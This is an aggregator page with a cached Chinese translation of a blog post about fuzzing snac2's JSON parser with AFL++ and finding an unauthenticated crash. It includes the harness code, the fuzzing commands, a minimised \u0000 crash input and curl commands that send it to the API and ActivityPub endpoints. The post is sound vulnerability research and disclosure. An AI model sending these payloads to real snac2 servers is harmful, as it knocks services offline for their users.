趣味模糊测试——snac2 中未经认证的拒绝服务漏洞

Lobsters Hottest 新闻

摘要

本文介绍通过模糊测试发现 snac2 的 JSON 解析器中存在未经认证的拒绝服务漏洞,攻击者可通过精心构造的输入远程导致崩溃。

<p><a href="https://lobste.rs/s/zjnc5o/fuzzing_for_fun_unauthenticated_denial">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/07/20 09:35

# 趣味模糊测试——snac2 中未经验证的拒绝服务漏洞 来源:https://nullenvk.pl/posts/02-snac2-json/ 我没有继续手动审查源代码,而是决定采用一种称为**模糊测试**的技术,来寻找可能使解析器(位于 `xs_json.h` 中)崩溃的输入。如果你不熟悉模糊测试,它本质上是一种通过提供随机生成的输入来测试代码的方法。在最基本的情况下,将 `/dev/urandom` 管道输入程序并等待其崩溃,就是一种非常原始的模糊测试形式。然而,对于更复杂的程序,仅仅管道输入 `/dev/urandom` 效率极低,并且很可能需要很长时间才能检测到某些导致崩溃的更复杂模式。因此,诸如 **AFL++** 之类的专用模糊测试程序通过使用一个**初始语料库**(即一组有效输入)来生成新输入,这些输入会通过多种策略进行持续**变异**,并采用相对复杂的**遗传算法**。此外,通过使用编译时的**二进制插桩**,一组经过修改的编译器可以插入 AFL 特有的指令,从而告知模糊测试程序某个输入到达了多少函数和代码路径。最终,这种方法使得模糊测试程序能够尽可能多地测试可用的代码路径。这种方法非常强大,以至于即使只有非常简单的输入语料库,AFL++ 在模糊测试一个完整的 JPEG 解析器时,也能**凭空拉出 JPEG 图片**(https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html)。 在 snac2 项目中,我决定模糊测试 `xs_json_load` 函数,该函数用于解析以文件形式存储的 JSON 数据(snac2 内部将所有数据流视为 `FILE` 指针,这一事实也相当有趣)。为此,我需要准备一个模糊测试**框架**——一个非常简单的程序,将待测试的函数暴露给模糊测试程序。对于 AFL++,我只需要一个简单的 C 程序,它从 `argv[1]` 读取文件路径,打开文件,将其传递给解析器,然后释放结果: ```c #include <stdio.h> #define XS_IMPLEMENTATION #include "xs.h" #include "xs_json.h" int main(int argc, char **argv) { if(argc < 2) return 0; FILE *f = fopen(argv[1], "r"); xs_val *root = xs_json_load(f); if (root) { xs_free(root); } fclose(f); return 0; } ``` 为了利用 AFL 的二进制插桩,我必须使用包装过的 C 编译器来生成二进制文件。假设我们在 snac2 源代码树内的一个子目录中进行研究: ``` afl-clang-fast -I.. fuzz_xs_json.c -o fuzz_xs_json ``` 之后,我将一个简单的测试用例(`{"company": "a", "year": 2024}`)放入 `input` 目录,并启动模糊测试程序: ``` afl-fuzz -i input -o findings -- ./fuzz_xs_json @@ ``` 几分钟内,我就开始看到 `findings/default/crashes` 目录中出现第一个崩溃,并迅速确认了这些崩溃。在检测到的较简单案例中,有这样一个: ``` [ "TSo\u0 So\uF So\uFcccccc Ag { ``` 经过几分钟的调整,我将上述测试用例简化为一个更加干净的形式(确认 `\u0000` 是崩溃的根本原因): ``` ["", "dummy\u0000..........................AAAAAA ``` 最后,为了确认这是真实的崩溃,而不仅仅与我的模糊测试框架有关,我决定在一个真实的、本地运行的 snac2 服务器上测试这个 payload,通过将其发送到 MastoAPI 端点(服务器立即崩溃): ``` curl -X POST -H "Content-Type: application/json" http://localhost:8001/api/v1/WHATEVER -d '["", "dummy\u0000..........................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ``` 稍微修改 payload 后,我也通过标准 ActivityPub 端点使服务器崩溃: ``` curl -X POST -H "Content-Type: application/activity+json" http://localhost:8001 -d '["", "dummy\u0000.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", ""]' ```

相似文章

突破防御:利用段错误绕过 Intel CET

Lobsters Hottest

该仓库提供了面向段错误编程(SFOP)的工件,这是一种利用信号处理器绕过 Intel CET 的新型利用技术。它包含针对 Nginx 和 Ladybird 的 PoC 利用和演示。

@Dinosn: Dnsmasq DNS远程堆缓冲区溢出

X AI KOLs Timeline

Dnsmasq中的一个堆缓冲区溢出漏洞(CVE-2026-2291)允许通过恶意上游DNS服务器进行远程代码执行。该问题在2.73版本中引入,并在2.92rel2和2.93版本中修复。